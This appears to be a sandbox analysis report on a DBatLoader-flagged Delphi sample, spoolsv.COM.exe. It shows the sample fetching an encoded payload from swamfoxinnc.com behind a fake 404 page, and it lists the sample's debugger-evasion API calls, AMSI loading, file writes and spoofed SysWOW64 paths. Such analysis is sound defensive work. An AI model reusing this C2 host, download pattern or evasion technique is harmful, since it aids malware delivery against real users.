2024-12-23 06:39:32 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:32 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:32 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:32 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	50023	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:34 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:35 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:35 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:35 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:36 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:36 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:36 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	50031	176.123.5.143	443	7596	C:\Users\user\Desktop\spoolsv.COM.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:39:38 UTC	164	OUT	GET /233_Svcrhpjadgy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: swamfoxinnc.com
2024-12-23 06:39:39 UTC	191	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Dec 2024 06:39:39 GMT Content-Type: text/html Content-Length: 58296 Connection: close Vary: Accept-Encoding ETag: "674db0b4-e3b8"
2024-12-23 06:39:39 UTC	16193	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
2024-12-23 06:39:39 UTC	16384	IN	Data Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54 Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
2024-12-23 06:39:39 UTC	16384	IN	Data Raw: 5a 4a 76 46 56 68 6b 45 41 34 6b 30 52 43 77 6d 44 6a 47 4f 69 73 37 51 6a 44 65 4d 71 43 61 78 50 50 79 42 4d 57 33 62 4d 35 34 6c 33 2b 70 53 71 59 37 2b 72 2f 53 6b 67 55 62 4a 4d 70 6a 42 6a 33 6e 38 34 6d 37 75 57 31 49 31 51 67 43 49 63 6b 72 46 6b 51 44 63 42 33 41 42 6a 4b 39 35 78 43 36 31 4e 77 42 50 4e 63 78 6f 53 41 52 49 7a 48 37 65 57 6a 63 35 58 6b 70 2f 39 49 75 6f 41 6d 41 6f 67 4a 6d 46 5a 35 32 4c 49 73 67 72 41 41 49 41 67 45 41 70 76 79 66 46 53 39 41 49 79 67 63 66 4b 36 2f 2f 46 35 43 59 6c 78 47 51 53 55 53 4e 53 62 6e 51 79 31 34 71 55 50 64 48 42 74 35 41 4a 72 36 46 46 31 4b 79 50 66 2b 62 52 46 6f 72 2b 6f 76 4c 6a 46 63 7a 48 6b 6a 58 7a 61 58 67 71 35 6c 49 35 77 49 33 61 77 44 34 69 53 53 4d 4b 4f 6e 6d 50 53 48 52 6b 6e 46 Data Ascii: ZJvFVhkEA4k0RCwmDjGOis7QjDeMqCaxPPyBMW3bM54l3+pSqY7+r/SkgUbJMpjBj3n84m7uW1I1QgCIckrFkQDcB3ABjK95xC61NwBPNcxoSARIzH7eWjc5Xkp/9IuoAmAogJmFZ52LIsgrAAIAgEApvyfFS9AIygcfK6//F5CYlxGQSUSNSbnQy14qUPdHBt5AJr6FF1KyPf+bRFor+ovLjFczHkjXzaXgq5lI5wI3awD4iSSMKOnmPSHRknF
2024-12-23 06:39:40 UTC	9335	IN	Data Raw: 6e 45 73 42 71 4c 41 57 49 56 70 54 58 74 33 48 59 58 4e 54 4f 54 36 2b 68 64 31 4c 52 42 30 66 69 31 34 58 79 33 75 36 45 34 59 4e 71 53 35 6d 73 32 78 66 73 71 37 68 4e 4a 4c 73 39 68 42 74 78 51 63 50 35 57 73 52 73 58 4e 59 68 61 6f 69 37 45 44 76 32 4a 66 46 67 4d 44 52 4b 50 59 6e 69 6d 63 78 56 55 59 6c 4f 45 77 39 77 71 48 48 36 42 50 62 7a 70 37 4b 33 58 53 61 62 53 4d 74 77 32 7a 61 42 6d 65 55 6d 4a 54 52 48 36 63 5a 4d 2f 2f 32 31 72 4d 58 4e 35 33 36 56 66 44 58 43 31 53 44 71 75 61 36 74 44 4e 72 32 6d 65 48 65 6d 2b 59 6c 33 52 6b 36 53 49 70 5a 56 35 56 4e 34 32 6c 33 44 30 6a 57 6c 58 74 31 37 6e 32 33 4e 59 52 5a 54 79 38 6b 78 55 68 37 43 30 47 4c 64 5a 63 54 73 76 77 46 79 59 31 50 79 64 4a 78 5a 6d 4b 71 48 77 6e 49 67 49 6e 5a 43 30 Data Ascii: nEsBqLAWIVpTXt3HYXNTOT6+hd1LRB0fi14Xy3u6E4YNqS5ms2xfsq7hNJLs9hBtxQcP5WsRsXNYhaoi7EDv2JfFgMDRKPYnimcxVUYlOEw9wqHH6BPbzp7K3XSabSMtw2zaBmeUmJTRH6cZM//21rMXN536VfDXC1SDqua6tDNr2meHem+Yl3Rk6SIpZV5VN42l3D0jWlXt17n23NYRZTy8kxUh7C0GLdZcTsvwFyY1PydJxZmKqHwnIgInZC0

Target ID:	5
Start time:	01:37:36
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\spoolsv.COM.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\spoolsv.COM.exe"
Imagebase:	0x400000
File size:	1'019'392 bytes
MD5 hash:	DFD15A4158AB979660435D6F3E95A3EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000005.00000002.2514939063.0000000002286000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000005.00000003.1272909901.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000005.00000002.2531784448.000000007FC80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	16.2%
Total number of Nodes:	241
Total number of Limit Nodes:	9

Executed Functions

Function 02B3EC74 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InetIsOffline.URL(00000000,00000000,02B4AFA1,?,?,?,000002F7,00000000,00000000), ref: 02B3ECAE

Part of subcall function 02B38824: LoadLibraryA.KERNEL32(00000000,00000000,02B3890B), ref: 02B38858
Part of subcall function 02B38824: FreeLibrary.KERNEL32(74D80000,00000000,02B81388,Function_000065D8,00000004,02B81398,02B81388,05F5E0FF,00000040,02B8139C,74D80000,00000000,00000000,00000000,00000000,02B3890B), ref: 02B388EB

Part of subcall function 02B3EB94: GetModuleHandleW.KERNEL32(KernelBase,?,02B3EF98,UacInitialize,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,ScanBuffer,02B8137C,02B4AFD8,ScanString,02B8137C,02B4AFD8,Initialize), ref: 02B3EB9A
Part of subcall function 02B3EB94: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B3EBAC

Part of subcall function 02B3EBF0: GetModuleHandleW.KERNEL32(KernelBase), ref: 02B3EC00
Part of subcall function 02B3EBF0: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B3EC12
Part of subcall function 02B3EBF0: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B3EC29

Part of subcall function 02B27E18: GetFileAttributesA.KERNEL32(00000000,?,02B3F8CC,ScanString,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,ScanString,02B8137C,02B4AFD8,UacScan,02B8137C,02B4AFD8,UacInitialize), ref: 02B27E23

Part of subcall function 02B2C2EC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02C758C8,?,02B3FBFE,ScanBuffer,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,ScanBuffer,02B8137C,02B4AFD8,OpenSession), ref: 02B2C303

Part of subcall function 02B3DBB0: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B3DC80), ref: 02B3DBEB
Part of subcall function 02B3DBB0: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B3DC80), ref: 02B3DC1B
Part of subcall function 02B3DBB0: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B3DC30
Part of subcall function 02B3DBB0: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B3DC5C
Part of subcall function 02B3DBB0: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B3DC65

Part of subcall function 02B27E3C: GetFileAttributesA.KERNEL32(00000000,?,02B42A49,ScanString,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,ScanBuffer,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,Initialize), ref: 02B27E47

Part of subcall function 02B27FD0: CreateDirectoryA.KERNEL32(00000000,00000000,?,02B42BE7,OpenSession,02B8137C,02B4AFD8,ScanString,02B8137C,02B4AFD8,Initialize,02B8137C,02B4AFD8,ScanString,02B8137C,02B4AFD8), ref: 02B27FDD

Part of subcall function 02B3DACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B3DB9E), ref: 02B3DB0B
Part of subcall function 02B3DACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02B3DB45
Part of subcall function 02B3DACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02B3DB72
Part of subcall function 02B3DACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02B3DB7B

Part of subcall function 02B387A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02B813A4,02B3A3C7,ScanString,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,Initialize,02B813A4,02B3A77C,UacScan), ref: 02B387B4
Part of subcall function 02B387A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02B387CE
Part of subcall function 02B387A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02B813A4,02B3A3C7,ScanString,02B813A4,02B3A77C,ScanBuffer,02B813A4,02B3A77C,Initialize), ref: 02B3880A

Part of subcall function 02B3870C: LoadLibraryW.KERNEL32(amsi), ref: 02B38715
Part of subcall function 02B3870C: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B38774

Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,ScanBuffer,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,02B4B330), ref: 02B449B7

Part of subcall function 02B3DA44: RtlInitUnicodeString.NTDLL(?,?), ref: 02B3DA6C
Part of subcall function 02B3DA44: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B3DABE), ref: 02B3DA82
Part of subcall function 02B3DA44: NtDeleteFile.NTDLL(?), ref: 02B3DAA1

MoveFileA.KERNEL32(00000000,00000000), ref: 02B44BB7
MoveFileA.KERNEL32(00000000,00000000), ref: 02B44C0D

Strings

I_QueryTagInformation, xrefs: 02B4898A
NtAlertResumeThread, xrefs: 02B49D3C
GetProxyDllInfo, xrefs: 02B3EFD7
DlpCheckIsCloudSyncApp, xrefs: 02B49BAB
LdrGetProcedureAddress, xrefs: 02B4A7A7
NEO.c, xrefs: 02B44445
VirtualAlloc, xrefs: 02B4A204
psapi, xrefs: 02B4988A
mssip32, xrefs: 02B3F258, 02B3F28B, 02B3F2BE, 02B498BD
SLGetSLIDList, xrefs: 02B495CD
VirtualAllocEx, xrefs: 02B4A237
BCryptRegisterProvider, xrefs: 02B3F3BC
SLGatherMigrationBlob, xrefs: 02B4A543
NtQueryDirectoryFile, xrefs: 02B4A0BF
C:\\Windows \\SysWOW64\\svchost.exe, xrefs: 02B436A8
GetProcessMemoryInfo, xrefs: 02B49873
NtOpenFile, xrefs: 02B4A80D
ntdll, xrefs: 02B4897B, 02B489CB, 02B489DF, 02B49D53, 02B49D86, 02B49DB9, 02B49DEC, 02B49E1F, 02B4A5C0, 02B4A5F3, 02B4A626, 02B4A659, 02B4A68C, 02B4A6BF, 02B4A6F2, 02B4A725, 02B4A758, 02B4A78B, 02B4A7BE, 02B4A7F1, 02B4A824, 02B4A857, 02B4A88A
Advapi, xrefs: 02B4A0E2, 02B4A0F1, 02B4A100, 02B4A10F, 02B4A14B, 02B4A15A, 02B4A169
URL=file:", xrefs: 02B464A7
Kernel32, xrefs: 02B4A12D, 02B4A13C, 02B4A178
C:\Windows\System32\, xrefs: 02B3F8B7, 02B470BB, 02B47E03
CreateProcessW, xrefs: 02B4A137
C:\\Windows \\SysWOW64\\, xrefs: 02B43ACE, 02B43EE2
ieproxy, xrefs: 02B3EFC1, 02B3EFE8, 02B3F018
WriteVirtualMemory, xrefs: 02B4A2D0
NtQuerySystemInformation, xrefs: 02B4A0A1
Ntdll, xrefs: 02B4A0A6, 02B4A0B5, 02B4A0C4, 02B4A0D3
kernel32, xrefs: 02B4A21B, 02B4A24E, 02B4A281, 02B4A2B4, 02B4A2E7, 02B4A31A, 02B4A34D
WintrustAddActionID, xrefs: 02B3F0E3
